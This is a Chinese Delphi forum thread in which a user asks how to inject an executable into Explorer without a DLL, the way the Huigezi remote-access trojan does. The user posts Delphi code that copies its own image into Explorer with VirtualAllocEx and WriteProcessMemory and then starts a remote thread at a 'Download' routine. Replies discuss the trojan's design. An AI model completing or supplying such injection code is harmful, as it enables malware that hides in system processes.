进程插入的问题(100分)

  • 主题发起人 主题发起人 starsoul
  • 开始时间 开始时间
S

starsoul

Unregistered / Unconfirmed
GUEST, unregistred user!
想做一个插入进程的东西,网上找的都是DLL形式的,我用了灰鸽子,他使用的就是一个EXE可执行文件,没有DLL,这样形式的插入进程怎样做呢?我找了下面的代码,但并没有成功。
begin
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
//获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看

ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开进程

hModule := Pointer(GetModuleHandle(nil));
//这里得到的值为一个返回一个指针型变量,指向内容包括自身映像的基址和长度

Extent := PImageOptionalHeader(Pointer(integer(hModule) + PImageDosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
//得到内存映像的长度

VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);
//在Exp进程的内存范围内分配一个足够长度的内存

hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//确定起始基址和内存映像基址的位置

WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);
//确定上面各项数据后,这里开始进行操作

CreateRemoteThread(ProcessHandle, nil, 0, @Download, hModule, 0, ThreadId);
//建立远程线程,至此注入过程完成

CloseHandle(ProcessHandle);
//关闭对像
end.
 
他也使用DLL。只是放在资源里。运行时释放出
 
不,我分析了黑防版灰鸽子,没有DLL,有些版本是有DLL,你下载一个黑防版的分析一下就知道了。
 
注入的是代码而非DLL文件。
 
有没有这样的例子呢?最好是完整的例子。
 

Similar threads

S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
后退
顶部